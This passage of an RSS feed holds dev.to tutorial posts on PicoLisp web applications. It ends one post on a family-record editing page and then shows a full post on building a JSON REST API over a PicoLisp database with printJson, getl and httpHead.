&lt;p&gt;Next, let's load this value as default &lt;code&gt;*ID&lt;/code&gt; at session startup. The session should also start immediately at loading the page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(when (app)
   (redirect (baseHRef) *SesId *Url "?*ID=" (ht:Fmt (val *DB))) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we can also change our html title dynamically to the person' name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;html 0 (; *ID nm) "@lib.css" NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this, we get directly to Queen Elizabeth's entry when we visit &lt;a href="http://localhost:8080"&gt;http://localhost:8080&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;With this we have all data of the record in a clear and user-friendly output format. However, the input fields are all disabled and we cannot save any changes.&lt;/p&gt;

&lt;p&gt;Let's see how to change this in the next post.&lt;/p&gt;




&lt;p&gt;You can find the source code up to this point &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-edit-step1.l"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/index.html"&gt;https://software-lab.de/doc/index.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/app.html"&gt;https://software-lab.de/doc/app.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>functional</category>
      <category>database</category>
      <category>lisp</category>
    </item>
    <item>
      <title>How to create a RESTful API to the PicoLisp Database</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Mon, 02 May 2022 14:25:55 +0000</pubDate>
      <link>https://dev.to/miatemma/how-to-create-a-restful-api-to-the-picolisp-database-4dfg</link>
      <guid>https://dev.to/miatemma/how-to-create-a-restful-api-to-the-picolisp-database-4dfg</guid>
      <description>&lt;p&gt;In the previous posts we have created a database and generated content that can be displayed in the browser. The format we chose was human-readable but not so suitable for automatic processing. &lt;/p&gt;

&lt;p&gt;Therefore we will now create a &lt;strong&gt;REST-API&lt;/strong&gt; that enables other services to access the data in JSON format.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2qlUPDGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634484153261/bkAOxT1VO.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2qlUPDGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634484153261/bkAOxT1VO.png" alt="outputjson.png" width="880" height="733"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  What is a REST-API?
&lt;/h3&gt;

&lt;p&gt;REST stands for &lt;strong&gt;Re&lt;/strong&gt;presentational &lt;strong&gt;S&lt;/strong&gt;tate &lt;strong&gt;T&lt;/strong&gt;ransfer, which means that it fulfills the &lt;a href="https://en.wikipedia.org/wiki/Representational_state_transfer"&gt;following properties&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;client-server model, &lt;/li&gt;
&lt;li&gt;stateless protocol (no session information needed),&lt;/li&gt;
&lt;li&gt;cacheability,&lt;/li&gt;
&lt;li&gt;layered system,&lt;/li&gt;
&lt;li&gt;uniform interface.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In simple words, what we want is to create an interface to our PicoLisp database that can be accessed from outside. The client doesn't have to speak PicoLisp, and the output format should be a standard machine-readable format such as JSON. &lt;/p&gt;

&lt;p&gt;Let's create an API that any client can access via a simple GET-request. Similarly to the previous example, the record is specified via the URL.&lt;/p&gt;




&lt;h3&gt;
  
  
  Creating JSON output in PicoLisp
&lt;/h3&gt;

&lt;p&gt;JSON (&lt;strong&gt;J&lt;/strong&gt;ava*&lt;em&gt;S&lt;/em&gt;&lt;em&gt;cript **O&lt;/em&gt;&lt;em&gt;bject **N&lt;/em&gt;*otation) is a very popular, language-independent data format that can be used to exchange data between different services.&lt;/p&gt;

&lt;p&gt;It supports a number of data types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Numbers,&lt;/li&gt;
&lt;li&gt;Strings, delimited with double-quotes and backslash as escape symbol,&lt;/li&gt;
&lt;li&gt;Boolean (&lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Arrays using square bracket notation with comma-separated elements,&lt;/li&gt;
&lt;li&gt;Objects as a collection of name-value pairs, where the names are also strings,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;null&lt;/code&gt; as empty value.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;PicoLisp comes with a library to create json-output. It can be found in the library files under &lt;code&gt;json.l&lt;/code&gt;. There are four functions: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;checkJson (X Item)&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;parseJson (Str)&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;readJson ()&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;printJson (Item)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For our purpose, we will only need the &lt;code&gt;printJson (Item)&lt;/code&gt; function. Its functionality is very simple: it takes a &lt;a href="https://picolisp-blog.hashnode.dev/concepts-and-data-types"&gt;list of cons-pairs&lt;/a&gt; and prints them in the JSON format.&lt;/p&gt;

&lt;p&gt;Let's open the REPL (&lt;code&gt;$ pil +&lt;/code&gt;) and try it at an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (setq A 
   '( ( name . "Smith" ) 
   ( age . 25)
   ( address 
      ( street . "21 2nd Street") 
      ( city . "New York") 
      ( state .  "NY" ) 
      ( zip  .  10021 ) ) ) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have a nested list of cons-pairs, i. e. a list of cells where the "key" is found in the CAR and the "value" in the CDR. The keys are internal symbols (that's why it's &lt;code&gt;name&lt;/code&gt; and not &lt;code&gt;"name"&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;We can execute the &lt;code&gt;printJson&lt;/code&gt; function on this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (printJson A)
{"name": "Smith", "age": 25, "address": {"street": "21 2nd Street", "city": "New York", "state": "NY", "zip": 10021}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function prints out a valid JSON string.&lt;/p&gt;




&lt;h3&gt;
  
  
  Creating a cons-pair list
&lt;/h3&gt;

&lt;p&gt;In order to be able to use &lt;code&gt;printJson&lt;/code&gt;, we need to convert the database output into a structured cons-pair list. This will require some manual formatting. Up to now, we only queried specific attributes for a record, like &lt;code&gt;( : nm )&lt;/code&gt;. However, we can also get a list of items using the &lt;code&gt;getl&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Let's test it in the REPL. We can start the database without the server using any of the previous scripts, for example &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-gui.l"&gt;this one&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ pil family.l -family~main +
family: 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It opens us a prompt directly in the family namespace. Let's get the item &lt;code&gt;{A1}&lt;/code&gt; in list format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;family: (getl '{A1})
-&amp;gt; ((({A2} {A4}) . kids) ("Margaret Rose" . nm) ({A3} . mate) ({A11} . ma) ({A33} . pa) (705091 . dat) ("Countess of Snowdon" . job))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, it's a cons-pair list, but with some differences to our desired format:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Key and value are reversed. instead of &lt;code&gt;( "Margaret Rose" . nm )&lt;/code&gt; we need &lt;code&gt;( nm . "Margaret Rose" )&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The symbol names at &lt;code&gt;mate&lt;/code&gt;, &lt;code&gt;ma&lt;/code&gt;, &lt;code&gt;pa&lt;/code&gt; and so on should be replaced by the person's names.&lt;/li&gt;
&lt;li&gt;The date &lt;code&gt;705091&lt;/code&gt; should be formatted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's go through it step by step.&lt;/p&gt;




&lt;h3&gt;
  
  
  Changing CAR and CDR in the cons pair
&lt;/h3&gt;

&lt;p&gt;How can we convert  &lt;code&gt;( "Margaret Rose" . nm )&lt;/code&gt; to &lt;code&gt;( nm . "Margaret Rose" )&lt;/code&gt;? Well, this is quite easy: We can build a new cons-pair using the &lt;code&gt;cons&lt;/code&gt; function, which takes two arguments: CAR and CDR.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (cons 1 2)
-&amp;gt; (1 . 2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can apply this to all items in the list using &lt;code&gt;mapcar&lt;/code&gt; and an anonymous function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(mapcar
   '((X)
      (cons (cdr X) (car X)) )
   (getl This ) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's test it in the REPL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;family: (mapcar '((X) (cons (cdr X) (car X))) (getl '{A1}))
-&amp;gt; ((kids {A2} {A4}) (nm . "Margaret Rose") (mate . {A3}) (ma . {A11}) (pa . {A33}) (dat . 705091) (job . "Countess of Snowdon"))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Formatting the list
&lt;/h3&gt;

&lt;p&gt;To get a better overview, let's write down each cons-pair of the &lt;code&gt;getl&lt;/code&gt; output: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(({A2} {A4}) . kids)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;("Margaret Rose" . nm)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;({A3} . mate)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;({A11} . ma)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;({A33} . pa)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(705091 . dat)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;("Countess of Snowdon" . job)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Looking at the car, we have four cases: It is either a list of &lt;code&gt;+Person&lt;/code&gt; objects, a number representing a date, a Person object, or a string. Let's treat either of these cases separately. We can switch between different "cases" using the &lt;code&gt;cond&lt;/code&gt; function:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;(cond ('any1 . prg1) ('any2 . prg2) ..) -&amp;gt; any&lt;/code&gt;&lt;br&gt;&lt;br&gt;
Multi-way conditional: If &lt;code&gt;any&lt;/code&gt; of the &lt;code&gt;anyN&lt;/code&gt; conditions evaluates to non-&lt;code&gt;NIL&lt;/code&gt;, &lt;code&gt;prgN&lt;/code&gt; is executed and the result returned. Otherwise (all conditions evaluate to &lt;code&gt;NIL&lt;/code&gt;), &lt;code&gt;NIL&lt;/code&gt; is returned.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;Case 1: The CAR is a number.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the value (let's call it &lt;code&gt;V&lt;/code&gt;) is a number, return the formatted value. We can test whether it's a number with the &lt;code&gt;num?&lt;/code&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(cond
   ((num? V) (datStr V))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;Case 2: The CAR is an &lt;code&gt;+Person&lt;/code&gt; object.&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;To check this, we can use the &lt;code&gt;isa&lt;/code&gt; function, which takes a class and an object. If yes, we want to get the name property of this object. We can get it with the &lt;code&gt;;&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;** Case 3: The CAR is a list of &lt;code&gt;+Person&lt;/code&gt; objects.**&lt;/p&gt;

&lt;p&gt;Now this one is a little bit tricky. Let's say the CAR is a list. In this case, we want to loop over every list item and return the name. We can do this with &lt;code&gt;mapcar&lt;/code&gt; and an anonymous function which takes an object and returns it name property:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(mapcar '((This) (: nm)) V)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But how can we check if &lt;code&gt;V&lt;/code&gt; is a list? For this purpose, we can use the &lt;code&gt;pair&lt;/code&gt; function which checks if the argument is a cons pair and returns it if true. Technically, a "normal" list is also a cons pair, while numbers, strings and and objects (i. e. all the other cases) are not. So we can expand our &lt;code&gt;cond&lt;/code&gt; condition list with the following line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))
   ((pair V) (mapcar '((This) (: nm)) V) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;** Case 4: The CAR is  a string.**&lt;/p&gt;

&lt;p&gt;Lastly, if the CAR is a string or any other case we didn't consider, we do nothing with it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))
   ((pair V) (mapcar '((This) (: nm)) V) )
   (T V) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Bringing it together
&lt;/h3&gt;

&lt;p&gt;Now we combine everything in one function:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;get the list with &lt;code&gt;(getl This)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;apply &lt;code&gt;mapcar&lt;/code&gt; to build a new &lt;code&gt;cons&lt;/code&gt; pair&lt;/li&gt;
&lt;li&gt;before we set the &lt;code&gt;car&lt;/code&gt;, we modify it depending on the result of &lt;code&gt;cond&lt;/code&gt;.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(mapcar 
   '((X)
      (cons (cdr X) 
         (let V (car X)
            (cond
               ((pair V)
               (mapcar '((This) (: dat)) V) )
               ((num? V) (datStr V))  # Can only be date
               ((isa '+Person V) (; V nm))
               (T V) ) ) ) )
   (getl This) ) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Convert to JSON and return it!
&lt;/h3&gt;

&lt;p&gt;Now that we have our list, all we have to do is converting it and modify our HTTP-Header so that it returns &lt;code&gt;Content-Type: application/json&lt;/code&gt; instead of &lt;code&gt;text/html&lt;/code&gt;. Instead of our standard &lt;code&gt;html&lt;/code&gt; function, we call the function &lt;code&gt;httpHead&lt;/code&gt; with the arguments &lt;code&gt;"application/json"&lt;/code&gt; for the content-type and &lt;code&gt;0&lt;/code&gt; for the cache-control. Let's test it in the REPL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;family: (httpHead "application/json" 0)

HTTP/1.0 200 OK
Server: PicoLisp
Date: Sun, 17 Oct 2021 14:44:31 GMT
Cache-Control: max-age=0
Cache-Control: private, no-store, no-cache
Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function returns a complete header which informs the browser that the received data format is JSON. &lt;/p&gt;




&lt;p&gt;Now we have to send it. In the HTTP protocol, there are two possibilities to upload data: Either the content-length is communicated in the header (which is difficult, i. e. expensive in a dynamically created page), or the upload is &lt;a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding"&gt;sent in chunks&lt;/a&gt;. We can create chunked upload and send the content via the &lt;code&gt;ht:Out&lt;/code&gt; function from the &lt;code&gt;ht&lt;/code&gt;library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   (httpHead "application/json" 0)
   (ht:Out *Chunked
      (printJson
         ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As final step, we wrap it in a function called &lt;code&gt;person.json&lt;/code&gt;. The &lt;code&gt;.json&lt;/code&gt; is not a requirement, but it makes clear that the output of this format is a json-format. Accordingly, we modify the &lt;code&gt;server&lt;/code&gt; and the &lt;code&gt;allowed&lt;/code&gt;-function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(allowed NIL
   "@lib.css" "!person.json" )

...

(de person.json (This)
   (httpHead "application/json" 0)
   (ht:Out *Chunked
      (printJson
         ...
   ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we can start the program with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ pil family-rest.l -family~main -go +
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we now point the server towards &lt;a href="http://localhost:8080/?-A67"&gt;http://localhost:8080/?-A67&lt;/a&gt;, we see the following JSON-formatted output:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2qlUPDGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634484153261/bkAOxT1VO.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2qlUPDGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634484153261/bkAOxT1VO.png" alt="outputjson.png" width="880" height="733"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This output can be read by any application that calls a GET request to the URL.&lt;/p&gt;




&lt;p&gt;That's it! The complete source code to this example can be found &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-rest.l"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/index.html"&gt;https://software-lab.de/doc/index.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/app.html"&gt;https://software-lab.de/doc/app.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>database</category>
    </item>
  </channel>
</rss>
